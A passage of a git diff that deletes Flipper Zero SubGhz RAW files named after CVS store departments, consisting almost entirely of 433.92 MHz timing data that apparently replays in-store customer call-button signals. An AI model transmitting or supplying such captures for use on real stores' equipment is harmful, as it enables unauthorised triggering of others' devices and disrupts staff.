828 -740 1552 -740 1584 -744 1544 -744 1584 -744 1548 -736 1588 -736 1552 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -736 1552 -740 1588 -744 1544 -736 1592 -740 1548 -740 1584 -740 1552 -744 1584 -1500 788 -744 1584 -1508 780 -740 1588 -1504 784 -740 1580 -1504 784 -1504 828 -1504 784 -740 1584 -1504 784 -1504 828 -1504 788 -740 1584 -1508 784 -744 1580 -4588 792 -744 1560 -1520 788 -748 1556 -1516 -RAW_Data: 832 -740 1548 -744 1584 -744 1544 -744 1588 -740 1552 -740 1580 -744 1548 -740 1592 -740 1548 -744 1584 -740 1552 -740 1584 -740 1548 -740 1588 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -744 1588 -1504 784 -740 1592 -1504 788 -740 1584 -1504 784 -740 1588 -1500 784 -1504 828 -1504 788 -744 1580 -1500 788 -1500 828 -1504 784 -744 1580 -1508 784 -740 1580 -4592 788 -744 1560 -1512 796 -744 1560 -1512 828 -740 1552 -740 1588 -740 1548 -744 1584 -740 1548 -744 1588 -744 1544 -740 1588 -740 1548 -744 1584 -740 1552 -740 1588 -740 1544 -748 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -1508 780 -740 1592 -1500 788 -740 1584 -1508 784 -736 1588 -1500 788 -1504 824 -1508 780 -740 1588 -1500 788 -1504 828 -1504 784 -740 1588 -1504 784 -740 1584 -4592 788 -744 1560 -1516 792 -744 1564 -1512 832 -736 1552 -740 1588 -744 1544 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1544 -740 1592 -740 1548 -740 1588 -740 1548 -740 1588 -740 1544 -744 1584 -740 1552 -740 1584 -740 1552 -736 1596 -1496 788 -744 1584 -1504 784 -740 1588 -1504 784 -740 1584 -1504 784 -1504 832 -1496 788 -744 1580 -1500 792 -1500 828 -1504 788 -740 1584 -1504 784 -736 1588 -4592 784 -748 1560 -1516 792 -748 1560 -1516 832 -736 1548 -744 1588 -736 1552 -740 1584 -744 1544 -740 1592 -740 1540 -744 1588 -736 1552 -744 1584 -740 1548 -744 1584 -744 1544 -740 1588 -740 1548 -740 1588 -740 1552 -736 1588 -744 1544 -740 1592 -1504 784 -744 1580 -1508 784 -736 1592 -1500 784 -744 1580 -1504 784 -1504 828 -1508 780 -744 1580 -1496 788 -1504 828 -1504 780 -744 1588 -1500 788 -740 1560 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Eye_Care_Department.sub b/assets/resources/subghz/Stores/CVS/Eye_Care_Department.sub deleted file mode 100644 index 6ecc97f12..000000000 --- a/assets/resources/subghz/Stores/CVS/Eye_Care_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1556 -1512 792 -744 1560 -1516 824 -740 1548 -744 1584 -740 1544 -740 1588 -736 1552 -740 1588 -736 1548 -740 1580 -744 1544 -740 1588 -740 1548 -740 1584 -740 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1592 -740 1544 -744 1580 -1504 784 -1504 824 -1500 788 -1500 820 -1508 784 -1500 820 -1504 784 -1508 824 -1504 784 -744 1584 -1504 780 -740 1584 -1496 788 -1500 824 -1504 784 -1500 820 -4592 784 -748 1556 -1512 796 -744 1560 -1516 828 -736 1552 -736 1588 -744 1544 -740 1588 -740 1548 -744 1584 -740 1548 -736 1584 -748 1548 -740 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -1504 780 -1500 824 -1508 784 -1504 820 -1504 784 -1508 824 -1500 784 -1508 824 -1504 784 -740 1588 -1504 788 -736 1580 -1508 784 -1500 828 -1500 784 -1504 824 -4588 792 -748 1560 -1516 788 -744 1560 -1516 832 -744 1548 -736 1584 -744 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1584 -736 1552 -736 1592 -736 1552 -740 1588 -740 1544 -740 1588 -740 1548 -736 1588 -744 1544 -740 1592 -740 1548 -736 1584 -1504 788 -1500 824 -1504 784 -1504 824 -1500 784 -1504 824 -1500 784 -1504 832 -1504 780 -744 1584 -1504 784 -744 1576 -1504 784 -1504 824 -1504 784 -1500 824 -4588 792 -744 1564 -1512 792 -748 1556 -1516 832 -744 1544 -740 1588 -740 1548 -740 1588 -740 1552 -740 1588 -740 1544 -740 1588 -744 1544 -740 1588 -744 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -744 1548 -740 1580 -1504 784 -1504 824 -1504 784 -1508 824 -1504 784 -1500 828 -1500 788 -1504 828 -1504 784 -740 1588 -1508 780 -744 1576 -1504 784 -1504 828 -1504 780 -1508 824 -4592 788 -744 1564 -1512 792 -752 1556 -1516 824 -744 1552 -740 1584 -744 1548 -740 1584 -740 1548 -744 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -744 1588 -736 1548 -740 1584 -748 1548 -740 1588 -740 1548 -744 1584 -740 1548 -744 1584 -1508 780 -1508 820 -1504 784 -1500 824 -1504 784 -1508 820 -1504 784 -1508 824 -1504 788 -740 1588 -1500 784 -740 1584 -1504 788 -1504 820 -1508 784 -1500 824 -4592 788 -744 1564 -1516 788 -748 1560 -1512 836 -736 1548 -748 1584 -744 1544 -736 1588 -748 1544 -744 1584 -740 1548 -740 1584 -744 1552 -736 1588 -740 1552 -736 1588 -740 1552 -736 1588 -744 1548 -736 1588 -740 1548 -736 1592 -744 1544 -740 1588 -1504 780 -1508 824 -1500 788 -1500 824 -1508 780 -1504 824 -1504 784 -1504 828 -1504 784 -744 1584 -1504 784 -744 1580 -1500 788 -1500 824 -1508 780 -1500 824 -4592 784 -748 1560 -1512 792 -748 1556 -1516 -RAW_Data: 832 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1584 -744 1544 -740 1588 -744 1544 -744 1584 -736 1552 -740 1588 -744 1544 -744 1584 -736 1552 -740 1588 -740 1544 -744 1588 -1500 788 -1500 824 -1504 784 -1500 828 -1496 788 -1504 820 -1504 784 -1504 828 -1504 784 -744 1584 -1508 780 -740 1580 -1504 784 -1504 820 -1508 784 -1500 824 -4592 788 -748 1556 -1516 792 -744 1564 -1516 828 -736 1552 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -740 1584 -740 1548 -744 1584 -740 1548 -740 1592 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -744 1580 -744 1548 -744 1584 -1500 788 -1504 820 -1508 784 -1500 828 -1500 784 -1508 820 -1504 784 -1504 828 -1504 788 -740 1584 -1508 780 -740 1584 -1504 784 -1500 824 -1508 784 -1504 824 -4588 788 -748 1560 -1516 788 -748 1556 -1516 832 -740 1552 -740 1588 -740 1544 -744 1588 -740 1552 -740 1588 -744 1544 -740 1588 -740 1552 -740 1588 -740 1544 -748 1584 -740 1552 -736 1592 -740 1548 -744 1580 -744 1548 -740 1592 -736 1552 -740 1584 -1504 780 -1508 824 -1504 784 -1504 824 -1508 784 -1500 824 -1504 784 -1504 828 -1500 784 -744 1588 -1504 784 -740 1584 -1500 788 -1500 828 -1500 788 -1500 824 -4588 792 -748 1560 -1516 788 -748 1560 -1516 828 -740 1548 -744 1584 -744 1548 -740 1584 -740 1556 -736 1592 -740 1544 -744 1588 -740 1548 -736 1588 -740 1552 -740 1584 -740 1552 -740 1584 -744 1548 -740 1588 -736 1552 -740 1592 -740 1548 -740 1584 -1508 784 -1504 824 -1500 788 -1504 824 -1504 780 -1508 824 -1504 784 -1504 824 -1508 784 -736 1592 -1500 784 -744 1580 -1500 788 -1504 824 -1504 788 -1500 804 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Family_Planning.sub b/assets/resources/subghz/Stores/CVS/Family_Planning.sub deleted file mode 100644 index 3f83e441f..000000000 --- a/assets/resources/subghz/Stores/CVS/Family_Planning.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 792 -744 1560 -1516 828 -736 1548 -744 1580 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1584 -744 1544 -740 1584 -744 1544 -740 1584 -740 1548 -744 1584 -740 1544 -740 1588 -740 1544 -744 1584 -740 1548 -736 1584 -1504 784 -1500 828 -1500 788 -736 1584 -1500 784 -1500 824 -1500 784 -1504 828 -1500 788 -736 1584 -1500 780 -1504 824 -1504 780 -1500 828 -1504 784 -740 1580 -4584 788 -744 1564 -1512 788 -748 1556 -1516 828 -740 1548 -740 1584 -736 1552 -744 1584 -736 1548 -744 1580 -740 1548 -740 1584 -744 1544 -740 1584 -740 1544 -748 1584 -736 1548 -740 1588 -736 1548 -740 1588 -744 1548 -732 1588 -744 1544 -740 1584 -1504 788 -1504 824 -1504 784 -740 1580 -1504 784 -1504 816 -1508 788 -1500 824 -1504 780 -744 1580 -1504 784 -1504 816 -1504 788 -1500 832 -1500 784 -740 1580 -4584 792 -748 1556 -1512 792 -744 1560 -1516 828 -740 1548 -736 1592 -736 1552 -736 1588 -740 1548 -736 1588 -744 1548 -736 1588 -740 1548 -744 1580 -740 1548 -740 1588 -740 1544 -744 1584 -740 1548 -740 1584 -744 1548 -732 1588 -744 1544 -740 1588 -1504 776 -1508 828 -1500 784 -740 1584 -1500 784 -1504 824 -1500 784 -1500 828 -1504 788 -736 1580 -1500 788 -1504 820 -1504 784 -1504 824 -1504 784 -736 1584 -4588 792 -744 1560 -1512 788 -748 1560 -1516 824 -744 1544 -740 1584 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1584 -740 1552 -732 1588 -740 1548 -740 1588 -740 1544 -740 1592 -736 1544 -740 1588 -740 1544 -744 1580 -744 1544 -740 1584 -1504 784 -1500 828 -1504 780 -744 1580 -1504 784 -1500 824 -1504 780 -1500 832 -1504 784 -736 1584 -1500 788 -1496 824 -1504 784 -1500 828 -1504 784 -736 1580 -4584 792 -748 1556 -1512 792 -744 1560 -1516 828 -740 1548 -736 1588 -736 1552 -740 1588 -732 1552 -740 1584 -740 1552 -736 1588 -736 1548 -740 1584 -740 1548 -736 1588 -744 1544 -740 1588 -736 1548 -740 1588 -740 1544 -740 1588 -740 1544 -744 1580 -1508 784 -1500 832 -1500 784 -740 1580 -1504 780 -1504 820 -1504 780 -1508 828 -1500 788 -736 1584 -1504 780 -1504 820 -1504 788 -1500 828 -1504 780 -744 1576 -4584 792 -748 1556 -1516 788 -748 1556 -1520 824 -744 1548 -736 1588 -740 1548 -740 1584 -744 1544 -740 1588 -744 1544 -740 1588 -740 1548 -736 1588 -736 1552 -740 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1544 -740 1584 -744 1544 -740 1584 -1504 784 -1504 824 -1508 780 -744 1576 -1504 784 -1500 828 -1496 788 -1500 824 -1508 780 -744 1576 -1508 780 -1504 824 -1504 784 -1500 828 -1504 780 -740 1580 -4592 788 -744 1560 -1516 788 -744 1564 -1516 -RAW_Data: 828 -740 1544 -740 1588 -736 1552 -736 1584 -740 1548 -740 1584 -740 1548 -740 1588 -736 1548 -740 1584 -740 1548 -744 1584 -744 1544 -740 1588 -736 1552 -736 1588 -740 1548 -740 1588 -740 1544 -740 1584 -1508 776 -1508 828 -1500 788 -736 1584 -1504 780 -1504 820 -1504 784 -1504 824 -1508 780 -740 1580 -1508 780 -1504 824 -1508 780 -1500 832 -1500 788 -740 1580 -4588 788 -744 1564 -1516 788 -748 1556 -1512 832 -740 1548 -736 1592 -732 1552 -740 1584 -744 1544 -740 1588 -736 1552 -736 1588 -740 1548 -740 1584 -744 1544 -740 1584 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -1504 784 -1500 832 -1504 780 -740 1580 -1504 784 -1500 828 -1500 784 -1504 828 -1500 788 -736 1584 -1500 784 -1504 824 -1500 788 -1504 824 -1500 788 -740 1580 -4588 788 -740 1564 -1512 796 -740 1560 -1516 828 -736 1548 -740 1588 -736 1552 -740 1584 -736 1552 -736 1588 -736 1552 -736 1588 -740 1548 -744 1580 -740 1548 -740 1588 -740 1544 -740 1584 -744 1548 -740 1584 -740 1548 -744 1584 -740 1544 -744 1580 -1504 784 -1504 832 -1504 780 -744 1576 -1508 784 -1500 824 -1504 780 -1504 828 -1504 784 -740 1580 -1500 788 -1500 824 -1500 784 -1504 824 -1508 780 -740 1580 -4584 792 -744 1564 -1512 792 -740 1564 -1516 828 -740 1544 -744 1588 -740 1544 -744 1580 -744 1544 -744 1580 -744 1544 -744 1584 -740 1544 -740 1584 -744 1548 -740 1584 -740 1548 -740 1584 -744 1544 -740 1584 -744 1548 -740 1584 -740 1548 -736 1592 -1496 788 -1500 828 -1504 784 -736 1584 -1500 788 -1500 824 -1500 788 -1496 836 -1500 784 -740 1584 -1496 788 -1500 824 -1500 788 -1504 828 -1496 792 -740 1556 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Film_Department.sub b/assets/resources/subghz/Stores/CVS/Film_Department.sub deleted file mode 100644 index 2b867aef2..000000000 --- a/assets/resources/subghz/Stores/CVS/Film_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1516 784 -752 1556 -1512 828 -744 1540 -744 1580 -744 1548 -744 1584 -740 1544 -744 1584 -744 1544 -740 1584 -744 1544 -740 1584 -740 1544 -748 1580 -740 1548 -740 1588 -740 1544 -740 1584 -744 1544 -744 1580 -744 1544 -744 1584 -1504 784 -740 1584 -1504 780 -744 1580 -1504 780 -1504 832 -1504 784 -740 1584 -1500 784 -744 1580 -1500 784 -1504 828 -1504 784 -740 1584 -1500 788 -744 1580 -4584 784 -748 1560 -1512 792 -744 1556 -1520 824 -744 1544 -740 1588 -740 1552 -736 1588 -740 1548 -740 1588 -736 1548 -740 1584 -744 1548 -736 1588 -740 1544 -744 1584 -740 1548 -740 1588 -736 1548 -744 1584 -736 1552 -740 1584 -740 1548 -740 1584 -1508 780 -740 1588 -1500 784 -744 1580 -1504 784 -1500 832 -1504 780 -744 1584 -1500 788 -740 1576 -1504 784 -1500 828 -1504 780 -744 1584 -1504 780 -740 1584 -4584 784 -752 1556 -1516 788 -748 1556 -1512 832 -740 1544 -744 1584 -740 1548 -740 1588 -736 1548 -740 1584 -740 1552 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1548 -740 1584 -1508 780 -740 1588 -1504 784 -740 1584 -1500 784 -1504 820 -1508 784 -740 1584 -1504 780 -744 1580 -1504 780 -1508 824 -1504 780 -740 1588 -1500 784 -740 1576 -4584 792 -748 1556 -1516 788 -744 1556 -1520 828 -736 1548 -740 1584 -740 1548 -740 1588 -736 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1584 -736 1548 -740 1584 -740 1552 -736 1588 -736 1548 -740 1588 -736 1548 -740 1584 -744 1544 -744 1584 -1504 784 -740 1584 -1508 780 -740 1584 -1504 784 -1500 828 -1500 784 -740 1588 -1500 788 -736 1584 -1504 780 -1504 832 -1504 784 -740 1584 -1504 784 -740 1576 -4588 788 -744 1560 -1512 792 -744 1560 -1512 832 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -744 1584 -740 1548 -740 1588 -740 1544 -744 1588 -736 1548 -744 1580 -744 1548 -736 1588 -740 1548 -736 1588 -740 1548 -740 1584 -740 1548 -740 1592 -1504 784 -736 1588 -1500 784 -744 1580 -1500 784 -1504 828 -1504 784 -740 1588 -1504 780 -740 1584 -1500 788 -1500 828 -1508 780 -740 1584 -1508 780 -740 1580 -4588 788 -748 1560 -1516 788 -744 1560 -1516 828 -736 1552 -740 1592 -736 1548 -736 1588 -740 1552 -740 1584 -740 1548 -740 1588 -736 1552 -740 1588 -736 1552 -736 1592 -736 1552 -736 1588 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -744 1588 -1504 784 -740 1588 -1504 784 -740 1580 -1500 788 -1500 828 -1504 784 -740 1584 -1504 788 -740 1580 -1504 784 -1504 824 -1508 784 -740 1584 -1508 784 -740 1580 -4592 788 -744 1564 -1512 792 -744 1564 -1512 -RAW_Data: 832 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -744 1584 -736 1552 -740 1588 -736 1548 -740 1588 -740 1552 -740 1580 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -744 1592 -1504 784 -740 1592 -1500 784 -740 1584 -1500 788 -1504 828 -1500 784 -744 1584 -1504 784 -740 1584 -1504 780 -1504 832 -1504 784 -740 1584 -1508 780 -740 1588 -4584 788 -752 1556 -1516 792 -748 1556 -1520 828 -740 1552 -740 1588 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -744 1548 -740 1584 -744 1544 -748 1584 -740 1548 -740 1588 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1596 -1500 788 -740 1584 -1504 784 -740 1584 -1504 780 -1500 832 -1508 780 -744 1584 -1500 788 -740 1584 -1504 784 -1504 824 -1504 784 -736 1588 -1504 784 -744 1580 -4588 788 -748 1560 -1516 792 -744 1560 -1508 836 -736 1552 -740 1584 -744 1548 -740 1588 -740 1544 -744 1584 -744 1548 -740 1588 -740 1544 -744 1588 -740 1548 -740 1584 -744 1548 -740 1588 -736 1552 -740 1588 -736 1548 -740 1588 -740 1548 -736 1596 -1504 784 -740 1584 -1508 784 -740 1580 -1504 784 -1504 828 -1508 780 -740 1588 -1508 776 -744 1584 -1504 780 -1504 832 -1504 784 -736 1592 -1500 788 -740 1580 -4592 788 -744 1564 -1512 792 -744 1564 -1516 824 -744 1548 -740 1588 -740 1544 -740 1588 -744 1548 -740 1588 -740 1548 -744 1584 -744 1544 -744 1584 -740 1552 -736 1588 -740 1548 -740 1588 -740 1552 -740 1584 -744 1544 -744 1588 -736 1548 -744 1588 -1504 784 -740 1584 -1508 780 -744 1580 -1500 788 -1500 828 -1504 784 -740 1588 -1508 780 -740 1584 -1504 784 -1504 828 -1504 788 -736 1588 -1504 784 -744 1560 -15964 diff --git a/assets/resources/subghz/Stores/CVS/First_Aid_Department.sub b/assets/resources/subghz/Stores/CVS/First_Aid_Department.sub deleted file mode 100644 index 0b9a693e7..000000000 --- a/assets/resources/subghz/Stores/CVS/First_Aid_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -744 1564 -1512 788 -748 1556 -1516 828 -740 1548 -740 1584 -740 1548 -744 1584 -736 1548 -740 1588 -740 1544 -744 1584 -744 1544 -740 1584 -740 1552 -740 1584 -744 1540 -748 1584 -740 1544 -744 1584 -744 1540 -744 1584 -740 1548 -740 1592 -1504 780 -740 1588 -1504 784 -740 1580 -1504 784 -1504 820 -1500 788 -1500 824 -1504 784 -740 1584 -1508 780 -740 1588 -1500 784 -736 1588 -1508 780 -740 1580 -4588 788 -748 1556 -1516 788 -748 1560 -1516 828 -744 1544 -740 1584 -744 1544 -740 1588 -740 1548 -740 1588 -736 1548 -740 1588 -740 1552 -736 1588 -736 1552 -736 1588 -740 1552 -732 1592 -736 1552 -736 1588 -740 1548 -740 1592 -736 1548 -740 1588 -1504 784 -744 1584 -1500 788 -740 1580 -1500 784 -1504 820 -1508 780 -1508 828 -1500 788 -740 1584 -1504 784 -740 1584 -1508 780 -740 1588 -1504 784 -736 1584 -4588 792 -744 1560 -1512 792 -748 1556 -1512 832 -740 1548 -736 1588 -740 1548 -744 1584 -740 1548 -736 1588 -740 1548 -744 1584 -740 1548 -744 1580 -744 1544 -744 1584 -744 1544 -740 1584 -744 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -1504 780 -748 1584 -1504 784 -736 1584 -1504 780 -1508 820 -1508 784 -1504 824 -1500 788 -744 1580 -1508 784 -740 1588 -1504 784 -736 1592 -1500 784 -736 1584 -4588 788 -748 1556 -1520 788 -748 1556 -1516 824 -744 1548 -740 1584 -744 1544 -744 1584 -740 1548 -740 1588 -744 1544 -744 1584 -744 1544 -744 1580 -744 1548 -740 1584 -744 1548 -740 1584 -744 1544 -744 1584 -744 1548 -736 1588 -744 1548 -744 1588 -1500 788 -736 1592 -1504 780 -740 1584 -1504 784 -1500 820 -1508 784 -1500 828 -1508 784 -736 1588 -1508 780 -736 1592 -1504 784 -740 1584 -1508 780 -744 1580 -4588 784 -752 1556 -1520 784 -752 1556 -1516 832 -740 1548 -740 1588 -736 1552 -740 1588 -736 1552 -740 1588 -736 1552 -736 1592 -736 1552 -736 1592 -736 1552 -736 1592 -740 1552 -736 1584 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -1504 784 -744 1584 -1508 780 -744 1580 -1504 784 -1504 824 -1504 784 -1500 828 -1508 780 -744 1584 -1500 784 -744 1588 -1504 784 -736 1592 -1504 784 -736 1580 -4592 788 -744 1560 -1516 796 -740 1560 -1520 828 -740 1548 -740 1588 -740 1548 -744 1584 -744 1544 -744 1584 -740 1548 -744 1584 -744 1544 -744 1584 -748 1540 -748 1580 -744 1548 -740 1588 -740 1548 -744 1584 -740 1544 -744 1584 -744 1548 -740 1592 -1504 784 -736 1592 -1500 788 -736 1584 -1508 784 -1504 820 -1508 780 -1504 828 -1504 784 -740 1588 -1504 784 -740 1588 -1504 784 -740 1584 -1504 784 -744 1584 -4584 788 -748 1556 -1520 788 -744 1560 -1520 -RAW_Data: 828 -740 1548 -740 1584 -744 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -740 1588 -736 1552 -740 1588 -736 1552 -740 1584 -740 1548 -744 1592 -1500 788 -736 1592 -1500 784 -740 1584 -1504 784 -1500 824 -1504 784 -1500 828 -1508 784 -740 1588 -1504 780 -744 1588 -1500 788 -736 1588 -1508 780 -744 1576 -4592 788 -748 1560 -1512 792 -748 1560 -1516 828 -740 1548 -740 1584 -744 1548 -740 1584 -744 1548 -740 1588 -740 1548 -744 1584 -740 1548 -744 1584 -744 1540 -744 1584 -748 1544 -744 1584 -744 1548 -740 1584 -748 1544 -740 1588 -744 1548 -740 1592 -1504 784 -740 1588 -1508 780 -748 1580 -1504 784 -1500 824 -1508 784 -1504 828 -1504 784 -740 1588 -1504 780 -748 1580 -1508 784 -744 1584 -1504 784 -740 1580 -4588 792 -748 1560 -1516 792 -748 1556 -1516 832 -736 1556 -736 1592 -732 1556 -736 1588 -744 1548 -740 1584 -744 1548 -740 1588 -740 1544 -748 1584 -744 1544 -748 1580 -748 1544 -744 1584 -740 1552 -744 1580 -744 1548 -740 1584 -744 1544 -748 1588 -1500 788 -740 1584 -1508 780 -740 1584 -1504 780 -1508 824 -1504 784 -1504 828 -1504 780 -748 1580 -1508 780 -744 1584 -1508 784 -740 1588 -1500 788 -740 1580 -4588 788 -748 1560 -1512 792 -748 1560 -1512 832 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -736 1588 -736 1552 -740 1588 -744 1548 -736 1592 -736 1552 -736 1592 -740 1552 -736 1592 -736 1556 -736 1588 -740 1552 -740 1584 -740 1552 -736 1592 -1504 788 -744 1580 -1508 784 -744 1576 -1504 788 -1500 824 -1504 784 -1504 828 -1508 784 -736 1588 -1504 784 -740 1588 -1504 780 -748 1580 -1508 784 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Foot_Care_Department.sub b/assets/resources/subghz/Stores/CVS/Foot_Care_Department.sub deleted file mode 100644 index f243005bc..000000000 --- a/assets/resources/subghz/Stores/CVS/Foot_Care_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1552 -1512 792 -740 1564 -1512 832 -740 1544 -736 1592 -740 1544 -740 1584 -740 1552 -736 1588 -736 1548 -740 1584 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -740 1588 -736 1552 -736 1592 -1504 784 -740 1584 -1504 784 -744 1584 -1500 784 -740 1588 -1500 788 -740 1580 -1504 784 -1500 832 -1500 784 -740 1584 -1500 788 -740 1588 -1500 784 -740 1580 -4584 792 -740 1564 -1516 788 -748 1560 -1508 836 -740 1544 -740 1584 -740 1552 -740 1584 -736 1552 -740 1584 -740 1548 -740 1588 -736 1552 -740 1584 -744 1544 -740 1584 -740 1548 -744 1584 -740 1552 -736 1588 -736 1548 -740 1588 -740 1544 -740 1592 -1504 780 -744 1584 -1500 788 -736 1588 -1508 780 -744 1584 -1500 788 -736 1584 -1504 784 -1504 824 -1504 784 -740 1588 -1500 784 -744 1580 -1504 784 -736 1584 -4588 788 -748 1560 -1512 792 -748 1556 -1512 832 -744 1540 -740 1588 -736 1552 -740 1588 -740 1548 -740 1580 -744 1548 -736 1588 -740 1548 -736 1592 -736 1552 -736 1588 -740 1548 -740 1584 -740 1548 -740 1588 -736 1552 -736 1592 -736 1552 -736 1592 -1500 788 -736 1588 -1504 784 -740 1584 -1504 784 -740 1588 -1496 792 -736 1580 -1508 784 -1500 824 -1504 784 -744 1584 -1500 784 -740 1588 -1500 788 -740 1580 -4588 788 -748 1560 -1512 792 -748 1556 -1520 828 -736 1552 -740 1588 -736 1548 -740 1588 -740 1548 -736 1588 -740 1552 -736 1592 -740 1544 -740 1588 -740 1548 -740 1592 -736 1548 -744 1580 -744 1548 -740 1588 -740 1552 -740 1584 -740 1548 -740 1592 -1504 784 -744 1580 -1500 788 -736 1588 -1504 788 -740 1584 -1504 784 -740 1584 -1500 788 -1500 828 -1504 784 -740 1592 -1500 784 -740 1584 -1500 788 -740 1580 -4588 792 -744 1560 -1512 792 -748 1556 -1516 832 -740 1548 -740 1584 -740 1552 -736 1592 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1592 -736 1552 -740 1584 -744 1544 -740 1592 -736 1552 -740 1584 -744 1548 -740 1592 -1504 780 -744 1584 -1504 788 -744 1580 -1504 784 -740 1592 -1504 784 -740 1580 -1504 784 -1508 824 -1504 784 -740 1588 -1504 784 -740 1588 -1504 788 -740 1580 -4580 796 -740 1564 -1516 788 -748 1560 -1512 836 -736 1548 -740 1588 -736 1552 -744 1584 -740 1548 -740 1584 -740 1552 -736 1592 -740 1544 -740 1592 -740 1548 -744 1584 -740 1548 -740 1588 -744 1544 -744 1584 -740 1552 -736 1592 -740 1548 -740 1588 -1504 792 -736 1584 -1504 784 -740 1588 -1508 780 -744 1584 -1500 788 -740 1584 -1504 784 -1500 832 -1500 784 -744 1588 -1504 784 -740 1584 -1504 784 -740 1580 -4588 792 -748 1560 -1508 792 -744 1560 -1516 -RAW_Data: 832 -740 1548 -744 1584 -740 1548 -740 1592 -736 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -736 1552 -740 1588 -740 1544 -744 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -744 1588 -1500 788 -740 1588 -1500 784 -740 1584 -1508 780 -744 1584 -1500 784 -744 1580 -1500 788 -1504 828 -1504 788 -736 1584 -1504 788 -740 1584 -1508 780 -740 1580 -4592 788 -748 1560 -1508 796 -744 1560 -1516 832 -736 1548 -744 1584 -740 1548 -744 1588 -740 1544 -740 1584 -740 1556 -740 1584 -744 1544 -740 1588 -740 1548 -740 1584 -744 1544 -740 1592 -740 1548 -740 1588 -740 1544 -744 1588 -744 1544 -740 1592 -1504 784 -740 1588 -1504 788 -740 1584 -1500 788 -740 1588 -1504 784 -740 1584 -1504 788 -1500 828 -1504 784 -740 1588 -1500 784 -740 1588 -1500 788 -740 1576 -4588 788 -748 1560 -1512 792 -748 1560 -1512 828 -740 1548 -744 1584 -744 1544 -740 1584 -740 1556 -736 1584 -740 1548 -740 1588 -744 1544 -740 1584 -744 1548 -740 1588 -740 1548 -744 1584 -736 1552 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -1504 784 -740 1584 -1504 784 -744 1584 -1504 784 -736 1588 -1508 780 -740 1580 -1500 788 -1504 828 -1500 792 -736 1588 -1504 780 -740 1588 -1504 784 -740 1580 -4584 792 -744 1560 -1516 792 -748 1556 -1516 828 -744 1548 -740 1588 -736 1548 -740 1588 -736 1552 -740 1588 -740 1544 -740 1588 -736 1556 -740 1584 -740 1548 -740 1588 -740 1552 -740 1580 -740 1548 -744 1584 -740 1548 -744 1584 -740 1544 -744 1588 -1504 784 -740 1584 -1508 780 -744 1584 -1504 784 -740 1584 -1504 788 -736 1580 -1504 784 -1500 832 -1500 784 -740 1588 -1504 784 -740 1584 -1504 784 -740 1564 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Fragrance_Case.sub b/assets/resources/subghz/Stores/CVS/Fragrance_Case.sub deleted file mode 100644 index 5b54779b6..000000000 --- a/assets/resources/subghz/Stores/CVS/Fragrance_Case.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1512 792 -748 1552 